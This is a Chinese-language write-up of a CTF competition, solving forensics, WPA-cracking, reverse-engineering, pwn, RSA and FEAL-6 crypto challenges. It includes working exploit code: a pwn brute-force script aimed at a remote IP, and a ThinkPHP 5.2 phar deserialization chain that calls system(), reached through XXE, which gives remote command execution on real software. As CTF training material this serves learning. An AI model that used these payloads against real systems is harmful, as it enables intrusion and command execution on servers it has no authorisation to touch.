This is a mirror of the post at https://xz.aliyun.com/t/6746
有一说一,题目质量比隔壁某py大赛高多了。
答问卷得flag
拿到一个raw文件,应该是内存取证,掏出volatility,不知道为啥kali自带的识别不出镜像信息,换ubuntu才ok,迷。
#查看镜像信息:
$ volatility -f 1.raw imageinfo
Volatility Foundation Volatility Framework 2.5
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/yulige/Desktop/1.raw)
PAE type : PAE
DTB : 0xaf9000L
KDBG : 0x80545ce0L
Number of Processors : 1
Image Type (Service Pack) : 2
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2019-10-31 07:15:35 UTC+0000
Image local date and time : 2019-10-31 15:15:35 +0800
#查看进程
$ volatility -f 1.raw --profile=WinXPSP2x86 psscan
#发现有mspaint.exe和notepad.exe,pid分别是332和1056,将其dump出来
$ volatility -f 1.raw --profile=WinXPSP2x86 memdump -p 332 --dump-dir=./
$ volatility -f 1.raw --profile=WinXPSP2x86 memdump -p 1056 --dump-dir=./
然后在notepad进程dump出来的东西里面去查找字符串,找到:
hint:????needmoneyandgirlfirend
前面四个问号应该是掩码,先不管这个。
然后根据mspaintdump出来的bmp文件改后缀为data,参考:https://segmentfault.com/a/1190000018813033
然后将分辨率改为1280*1024,位移改为770000左右可以看到一个图。
因为是反过来看的所以是b1cx,然后加上前面的hint,结合起来就是b1cxneedmoneyandgirlfirend。
$ volatility -f 1.raw --profile=WinXPSP2x86 filescan | grep -E 'jpg|png|jpeg|bmp|gif'
Volatility Foundation Volatility Framework 2.5
0x00000000020d5190 1 0 R--rwd \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Administrator.bmp
0x000000000247c1a8 1 0 R--rwd \Device\HarddiskVolume1\WINDOWS\Web\Wallpaper\Bliss.bmp
0x000000000249ae78 1 0 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\vegetable.png
0x0000000002511c70 1 0 R--rwd \Device\HarddiskVolume1\WINDOWS\ime\IMJP8_1\DICTS\imjpgn.grm
# 可以看到桌面上有一个vegetable.png,将它dump出来。
$ volatility -f 1.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000001efb29f8 -n --dump-dir=./
拿到图片之后发现crc32校验过不去,用网上找的脚本跑一下,改高度。
参考链接:https://www.cnblogs.com/WangAoBo/p/7108278.html
# -*- coding: utf-8 -*-
import binascii
import struct
crc32key = 0xB80A1736
for i in range(0, 65535):
height = struct.pack('>i', i)
#CRC: CBD6DF8A
data = '\x49\x48\x44\x52\x00\x00\x01\x1F' + height + '\x08\x06\x00\x00\x00'
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print ''.join(map(lambda c: "%02X" % ord(c), height))
改完高度是:
然后用ps锐化处理,但是后几位实在是看不清。没办法。太佛了。
用zsteg跑一下,发现有东西,但是dump不出来,想到是lsb带密码的加密,密码应该就是hint。
然后用脚本解密出来之后是:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==
解密base64:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0
拿去在线网站爆破密钥恢复明文试试,毫无卵用。
然后突然想到上面的那个打码的图片,好像也有1417的样子,维吉尼亚是不会变数字的,那么如果数字的位置不变的话。那么把{}改成is,位数好像刚好对的上,1417的位置也刚好对的上。
然后如果猜测是对的话,那么前六位的密钥是bcxnee。这个bcxnee不就是刚好刚刚hint把数字去掉么,脑洞大开,想到密钥就是hint去掉前面那个1
不知道是不是,带flag格式交一下试试,对了。
flag{d7f1417bfafbf62587e0}
无线wifi流量包,套路走一波。
#查看essid
root@kali:~/Desktop# aircrack-ng cacosmia.cap
Opening cacosmia.cap
Read 4276 packets.
# BSSID ESSID Encryption
1 1A:D7:17:98:D0:51 mamawoxiangwantiequan WPA (1 handshake)
Choosing first network as target.
Aircrack-ng 1.3
Passphrase not in dictionary
Please specify a 151/235 keys tested w).
Time left: 0 seconds 64.26%
Quitting aircrack-ng...
#爆破密码
root@kali:~/Desktop# aircrack-ng cacosmia.cap -w /usr/share/wordlists/fern-wifi/common.txt
Opening cacosmia.cap
Read 4276 packets.
[00:00:00] 16/688 keys tested (1029.20 k/s)
Time left: 0 seconds 2.33%
KEY FOUND! [ 12345678 ]
Master Key : B4 2C 77 C0 A8 F4 E6 E9 9F 85 1B ED 7B 3F 5A 91
3C AA D4 42 B9 6D 5C D2 A1 90 E3 F9 75 B3 6D 9F
Transient Key : 8B D7 4A 1F 2A 0D B7 40 C1 3B BC C9 13 60 46 E5
49 4E 9B 9A AF BD E3 89 33 5A 73 C8 95 AC 53 94
AF 92 D1 D9 ED E4 B2 AF 40 C1 03 D8 98 2D 8A 90
00 58 39 CF C2 9E B9 80 A2 D5 86 57 9A 00 00 00
EAPOL HMAC : D8 97 A1 FD CF F2 87 89 6A 19 EF 14 44 33 E0 3C
#用essid和密码解密流量包
root@kali:~/Desktop# airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678
Total number of packets read 4276
Total number of WEP data packets 0
Total number of WPA data packets 685
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 538
然后wireshark打开解密的流量包,发现有一个png图片。
winhex打开发现末尾有个压缩包,提取出来之后发现要密码,不知道密码是啥,爆破无果,后来回到压缩包发现jwt的session。
解密看看:
说密码是一个网站,总共就没几个包,在一个udp包里面找到:
这个就是密码,打开拿到flag。
flag{f14376d0-793e-4e20-9eab-af23f3fdc158}
根据题目可以猜到是xxtea,这边再加一个换位xor操作
整回来后解一次xxtea就行
key是输入的前四
但是不知道前四是啥
所以猜是flag
然后出了
1
2
3
4
5
6
7
8
|
# -*- coding: UTF-8 -*-
import xxtea
text = "1111111111111111111"
key = "flag"
#encrypt_data = xxtea.encrypt(text, key)
encrypt_data = 'bca5ce40f4b2b2e7a9129d12ae10c85b3dd7061ddc70f8dc'.decode('hex')
decrypt_data = xxtea.decrypt(encrypt_data, key)
print decrypt_data
|
step1:输入
Info:The first four chars are `flag`
最后发现主要看sub_400D35
和上一题一个套路
猜前4密文xorkey是flag
然后就出了
比较简单不贴脚本
三次输入
中间有sleep直接patch了
先对输入进行了平方 FF0是pow函数
然后是乘4 A90是mul函数
然后对第二个输入
乘3
平方
对第三个输入
他先用7 * input3
然后result**input3
我佛了
下面是对输入的判断
input2<input1<input3 //应该是这个,没有仔细看
然后对三个输入之间进行一些蛇皮操作后就来最终check了
对了就有flag
//check大小完后的操作
550函数为add
7E0函数为del
//我输入是 222 123 321
a = mul(3,input1)
b = mul(a,input1) //147852
c = mul(b,input2) //18185796
pow(input2,2) //15129
a = mul(3,input1) //666
b1 = mul(a,input2) //input2已经平方 10075914
a = add(a,b1) //10076580
a = add(input1,input2)
b2 = pow(a,3) //41063625
b3 = del(b2,b1) //30987711
temp0 = del(b3,c) //12801915
a = mul(48,input3) //15408
b = mul(12,input3) //3852
c = mul(b,input3) //1236492
d = add(4,input3) //325
x = pow(d,3) //34328125
temp1 = del(x,c) //33091633
temp2 = del(temp1,a) //33076225
temp3 = del(temp2,22) //33076203
if(temp3==temp0)
cat flag
最终化简是x**3+y**3==z**3+42
想起了中科大的某道数学题的第一小题
x, y , z = (80435758145817515, 12602123297335631, 80538738812075974)
c++符号修饰
UnDecorateSymbolName反修饰后会变成private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
网上百度修饰资料
?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z
发现应该是上面
但是程序对输入进行一次换位
所以整回来Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP
就是输入
三字节shellcode执行权限,v3其实就是flag。。。写对比控制v5,最后是用mov eax,edx来的爆破。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
name_addr=0x080F6CC0
context(os='linux',arch='i386')
jmp='''
mov eax,edx
ret
'''
jm=asm(jmp)
flag=''
to_fxxk=0
print hex(len(jm))
while True:
for i in range(0x10,0x200):
r=remote('47.104.190.38',12001)
r.recvuntil(' index:')
r.sendline(str(to_fxxk))
r.recvuntil('y much!')
r.send(jm)
r.recvuntil('f size:')
r.sendline(str(i))
r.recvuntil('me:')
r.send('a')
r.recvline()
leak=int(r.recv(1),10)
print leak
print i
if leak == 1:
flag+=chr(i-1)
to_fxxk+=1
if i-1==ord('}'):
pause()
print flag
break
r.close()
|
msg = pad(flag),48字节长,384位。
s0, s1, s2 = msg的低128位,中128位,高128位。
给了
其中
要求的是s0, s1, s2。
由题名Related
想到了ctfwiki上的Related Message Attack
。
不过这一题显然要更复杂一点。
好在wiki这个栏目的下面给出了拓展阅读:
paper: https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf
找到了一个推广的结论
一边翻SageMath文档,一边写的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
n = 16084923760264169099484353317952979348361855860935256157402027983349457021767614332173154044206967015252105109115289920685657394517879177103414348487477378025259589760996270909325371731433876289897874303733424115117776042592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945823233371845110807469944602345293068346574630273539870116158817556523565199093874587097230314166365220290730937380983228599414137341498205967870181640370981402627360812251649
s = 280513550110197745829890567436265496990
c1 = 10607235400098586699994392584841806592000660816191315008947917773605476365884572056544621466807636237415893192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265115349103039946802386897315176633274295410371986422039106745216230401123542863714301114753239888820442112538285194875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438592376518310171297234081555028727538951934761726878443311071990
c2 = 2665348075952836665455323350891842781938471372943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971665619743473463613391689402725053682169256850873752706252379747752552015341379702582040497607180172854652311649467878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483375138773025602253783595007177712673092409157674720974653789039702431795168654387038080256838321255342848782705785524911705
c3 = 4881225713895414151830685259288740981424662400248897086365166643853409947818654509692299250960938511400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394963580424358743754334956833598351424515229883148081492471874232555456362089023976929766530371320876651940855297249474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941727751433687189532019000334342211838299512315478903418642056097679717
R.<x, y, z> = Zmod(n)[]
I = ideal(x + y + z - s, x^17 - c1, y^17 - c2, z^17 - c3)
res = I.groebner_basis()
m1 = n - long(res[0] - x)
m2 = n - long(res[1] - y)
m3 = n - long(res[2] - z)
m = (long(m3<<256) + long(m2<<128) + long(m1))
print hex(m)[2:].strip('L').decode('hex')
|
flag{bf684fc7-5398-4bf3-ad5f-cfe3dc53a202}
paper看的快,拿了一血
赛后对比官网wp
,发现其实只要s0, s1, s2
和s = s0+s1+s2
这四个关系式即可解出,并不需要s3。
附件给错了,打开task.py
直接获得flag
flag{fa0f8335-ae80-448e-a329-6fb69048aae4}
手速快,又拿了一血
题目名字说是Broadcast,实际上并不是简单的广播攻击。
简单的广播攻击,前提是对同一个m加密:
在这一题里,显然每一次的m
都不一样,而且e=3
的时候,就2个其他用户(明密文对)。
每一次的m都是由
- from Alice (每次都相同)
- to name(每次都不同)
- msg (每次都相同)
生成,其中只有'to' : name
会变。
又由于有一个data = json.dumps(data, sort_keys=True)
,会根据这个data
字典的key
来排序,使得最终的data
变成了:
name
用的Bob
,msg
(试验)选择的是95个'1'
可以发现,msg会被排序至中间这个位置。
m = high + mid + low
high
就是对应的'from' : Alice
, mid
就是对应的'msg' : msg
,low
就是对应的'to' : name
。
每一个m
的高、中位都是不变的,只不过低位变了而已。
high
和low
都是已知(可以算出来)的,我们想要求的东西,就是这个mid
。
这就让我想到了之前SCTF的一道Broadcast Attack with Linear Padding
。
我们可以把每一次的m
看成
其中
且x仅为95*8=760位。
利用Broadcast Attack with Linear Padding
可以算出多项式
的small root
。
small root
要求是要小于模数n
的1/e
次方,而x
为760位,760*3=2280>2048=1024*2,所以需要用到两组加密使模数的位数增大为4096位,使得760位的x能够是small root
。
sage:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
from functools import reduce
n = [11743537468135317101480488020144809201914936988461977176868954193874417724397531738707729413940060004291802011501577549223271797288223565654061393379024948557114873802484065401046235691942131446370168987779343797500311519782297945918303703564655987952282482715476136773764831205732478344688915636069116516770855051840466960976764092858799500910720099908106249684080240663853178927556249049193503151085654884527269002477666950572742679984293662085069728877459286849951188181117702216469759179036558783079196215512501682142798495265635852347494193629555160491782509569392767123686061925883459482937083314597325931324903,
14457209969884668177708697333084651442256193118762305783886170334587420837310297145702128170106972242068185696834421424217621080232658721763477597612126355466640947700608787202555955170003838596141926637700553638034795412618607691704863949191711837596504911369550275265047485577345602266210861036695691235637536527380239331718278464709412846966181787795995822367966392084870050879397930114908541580226650851547317522603090899886280170245299959983054236157294287800393659291904879499563552223080590816177114742527572796924746954499447982388532224932540152177949556088321209870823140903366811600475984145194404542130227]
c = [8190049298225986645065639656298172597926128706450768371303258134744480067344252838541490888036183464705944304534788993901104793815361341756431217860700928158019252752618919437673052832128577726977953950790902559970309709239504865249701468783648614158118356226876181834829777260079340923537145106302704145961190836661375363413110097880213997662546161624163926197325967768410253429584704238310212909716376684130921549808859640649278922277248496022978656354003386568276074858346316327173050731369576404526308212891898482132494538059251451015302281630189059974681450654073047538089109981563439870031087270051532901896822,
12118101166054737713386215385862569765107262982956699621223784645643668203345111850159614142861485707244381466506582226100758646240135249724760825645393433062905277245716757630096083674730526877271237776864887538290354358982569685278734177038607779153674199245850037034568957234569159850767151815484600506473286544739506911281943726669304436835800686344966600632518764992677531015390701093253398220813342080495059893716294823513371481710159387645437923515728187314225175839309059255201792376404426500260584133880852811820804606509557432184294402579927159295465411669899092463872169344366863225658285149101653314280770]
a = [1, 1]
# b_i = high + low_i
b=[15544274873612998989866379328566946388285248570806564503108352867340017880252665817613208325183832507901409765669821491355202065667225050801744228447515864518584620720787409961012061302114074543857882368586098987225919736280924738224995075370843988377198544539266275729089636607095220506662375139381261384398438998662059177913249680151096549632879238896603189241688956490787338355571799212913598318011639865738648621731434747681682396930715043552472778331701738091587062917693835229391950847730617837543337471998802061973389340720433170042633451884844390746043635079083497185464124715717119052915013438803576714502781,
15544274873612998989866379328566946388285248570806564503108352867340017880252665817613208325183832507901409765669821491355202065667225050801744228447515864518584620720787409961012061302114074543857882368586098987225919736280924738224995075370843988377198544539266275729089636607095220506662375139381261384398438998662059177913249680151096549632879238896603189241688956490787338355571799212913598318011639865738648621731434747681682396930715043552472778331701733991049485714120357663081338580983163588987883815040112341393183479429685436337175694444720513269496978577270272192766705854550355666404326847416678342795901]
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * inverse_mod(p, n_i) * p
return int(sum % prod)
T = []
T.append(chinese_remainder([n[0],n[1]],[1,0]))
T.append(chinese_remainder([n[1],n[0]],[1,0]))
N = n[0]*n[1]
P.<x> = PolynomialRing(Zmod(N))
g=0
for i in range(2):
g += ((a[i]*x *2^608 + b[i])^3 - c[i])*T[i]
g = g.monic()
x = g.small_roots()[0]
print x
print hex(long(x))[2:].strip('L').decode('hex')
# 1714661166087377473014475529806516832214035482305327415277479703776481564871479523924321275498885242003713793314464965569235093750357822116766965311615937698169583931123673327349849371866141948995747458407120138743748898874096942
# Hahaha, Hastad's method don't work on this. Flag is flag{6b6c9731-5189-4937-9ead-310494b8f05b}.
|
flag{6b6c9731-5189-4937-9ead-310494b8f05b}
话说,msg
的内容和给错附件的那道基本上差不多,就flag内容不同。直接把flag括号里的内容当成未知量(仅286位),一组加密直接求small root
就可以完事了。
这题出题人肯定没想到Hastad's method
仍然适用,只需要2组e=3的加密就可以解出来,而并不需要像官方wp那样需要2组e=3的加密和2组e=5的加密才能解。
为了看比赛,又双叒叕拿了一血。 fpxnb!
这一题比赛的时候没有做出来,否则我们队就第一了。。
赛后去稍微看了一下Differential Cryptoanalysis
,再结合官网wp
里的关键词Boomerang Attack
,学习了一下,才做出来。
task.py
文件中,主要看下面这两个加密和解密的函数。
很像是CBC
模式,但是在经过Feal6
后又多了一次异或操作。
画了2个简略图
encrypt
函数:
decrypt
函数
从中,不难推出如何获取任意的c = Feal6.encrypt(m)
和m = Feak6.decrypt(c)
。
注意区分task.py文件中的encrypt
函数和Feal6.encrypt
函数!
想要获得任意m
被Feal6
加密后的密文c
,只需:
第一次先发过去b'\x00' * 32
经过encrypt
函数,得到p1 = b'\x00' * 16
被Feal6
加密后的密文c1
;
再第二次发送b'\x00' * 32 + (c1 ^ m)
,得到的c2
即为Feal6.encrypt(m)
。
解密与此类似。
第一次先发过去b'\x00' * 32
经过decrypt
函数,得到c1 = b'\x00' * 16
被Feal6
解密后的明文p1
;
再第二次发送b'\x00' * 32 + (p1 ^ c)
,得到的p2
即为Feal6.encrypt(c)
。
仔细观察上面两图即可验证,在此不深入证明。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
def encrypt(plain):
r.sendline('/enc ' + '0'*32)
c1 = int(r.recvline().strip()[16:32], 16)
r.sendline('/enc ' + '0'*32 + hex(c1 ^ plain)[2:].zfill(16) )
c2 = int(r.recvline().strip()[32:48], 16)
return c2
def decrypt(cipher):
r.sendline('/dec ' + '0'*32)
p1 = int(r.recvline().strip()[16:32], 16)
x = p1 ^ cipher
r.sendline('/dec ' + '0'*32 + hex(x)[2:].zfill(16))
p2 = int(r.recvline().strip()[32:48], 16)
return p2
|
再来看如何获得flag:
发过去的内容前5个字节只能是/enc , /dec , /cmd , /exit
,分别对应encrypt, decrypt, exec, exit
功能。
/exit
:直接退出。
/enc
:将选项后面的字节传入encrypt
函数,返回函数结果。
/dec
:将选项后面的字节传入decrypt
函数,返回函数结果。
/cmd
:将选项后面的八字节先经过Feal6
解密,解密后的结果的开头只能是cat, ls, pwd
这三个命令,并执行。
我们可以通过上面那个获取任意c = Feal6.encrypt(m)
来获取以上三个命令的密文,并发送过去/cmd {Feal6.encrypt(cmd)}
即可执行命令。
ls, pwd
执行结果均没有问题,问题出在了cat
无法执行。
百思不得其解。。。
后来在Feal6.py
文件中发现了问题所在:
woc,原来出题人在这里有限制,无法对含有cat
的明文进行Feal6
加密!
我就说,不然这题也太水了,跟前面两道不是一个档次。原来出题人在这个地方有限制。。。
我们必须要获得cat flag
被加密的密文,要绕过那个加密函数来获得密文。
加密模式那边肯定是无法获得这个密文的,那么问题很可能就出现在这个Feal6
加密算法上!
Google搜到,Feal
系列算法很菜,防不住很多攻击,最主要的就是差分攻击(Differential Cryptoanalysis
)。
wiki
里说只要100个明密文对,分分钟破解这个Feal-6
。
当时已经半夜1,2点了,实在肝不动了,以为这一题就是要先获取100个明密文对,然后本地算出subkeys,然后本地加密cat flag
获得密文。但又想了想,服务器连接时间是有限制的,破解subkeys应该还是要点时间的,好像不太可行。。
后来,看到官方wp说是Boomerang Attack
,并找了几篇关于Feal-6
的文章学习了一下。
以及一个关于Boomerang Attack
的youtube视频
。
看到这里的时候,我茅塞顿开,原来真的可以绕过!!!
What a beautiful circuit!
tql!!!
令P0 = b'cat flag'
,我们要获取P0
加密后的密文。
我们可以通过P0 -> P1 -> C1 -> C3 -> P3 -> P2 -> C2 -> C0
来绕过。
具体内容可以看上面提供的资料。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
# python2
import string
from pwn import *
from itertools import product
import hashlib
from Crypto.Util.number import *
host, port = '', 10000
r = remote(host, port)
# context.log_level = 'debug'
def encrypt(plain):
r.sendline('/enc ' + '0'*32)
c1 = int(r.recvline().strip()[16:32], 16)
r.sendline('/enc ' + '0'*32 + hex(c1 ^ plain)[2:].zfill(16) )
c2 = int(r.recvline().strip()[32:48], 16)
return c2
def decrypt(cipher):
r.sendline('/dec ' + '0'*32)
p1 = int(r.recvline().strip()[16:32], 16)
x = p1 ^ cipher
r.sendline('/dec ' + '0'*32 + hex(x)[2:].zfill(16))
p2 = int(r.recvline().strip()[32:48], 16)
return p2
# PoW
rcv = r.recvline().strip()
suffix = rcv.split('+')[1].split(')')[0]
dig = rcv.split('==')[1].strip()
for prefix in product(string.ascii_letters+string.digits, repeat=4):
guess = ''.join(prefix)
if hashlib.sha256(guess + suffix).hexdigest() == dig:
break
r.sendline(guess)
r.recvuntil("Let's boom!!!\n")
r.recvuntil('\n')
# construct payload
cat = 7161132565001953639 # b'cat flag'
delta = 0x0200000282808082
p0 = cat
p1 = cat ^ delta
c1 = encrypt(p1)
c3 = c1 ^ delta
p3 = decrypt(c3)
p2 = p3 ^ delta
c2 = encrypt(p2)
c0 = c2 ^ delta
r.sendline('/cmd ' + hex(c0)[2:].zfill(16))
r.interactive()
|
比赛结束后环境没了,只能本地测试,结果如下:
首先postXML页面存在有XXE漏洞,定义名为XXE的外部实体并尝试使用file协议将etc/passwd文件的内容取出,赋值给了实体,成功读取靶机/etc/passwd的内容
XXE漏洞存在,读取根目录下的hints.txt得知需要实现rce,此时联想到除了file协议XXE同样能执行phar协议,并且从报错页面得知thinkphp的版本为5.2.0,利用thinkphp的反序列化链即可实现rce。
首先创建phar.php,文件内容如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("ls");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
|
生成phar.phar文件后将后缀修改为xml后上传文件(文件上传功能只允许我们上传xml文件到tmp目录下),文件成功上传后得到绝对路径,此时再到postXML页面将执行语句修改为phar:///tmp/uploads/生成的文件名.xml,即可实现phar文件的反序列化从而执行任意命令
读取到根目录中存在有readflag程序,尝试调用,修改执行语句为./readflag
是*ctf的一道原题,上传perl脚本后执行得到flag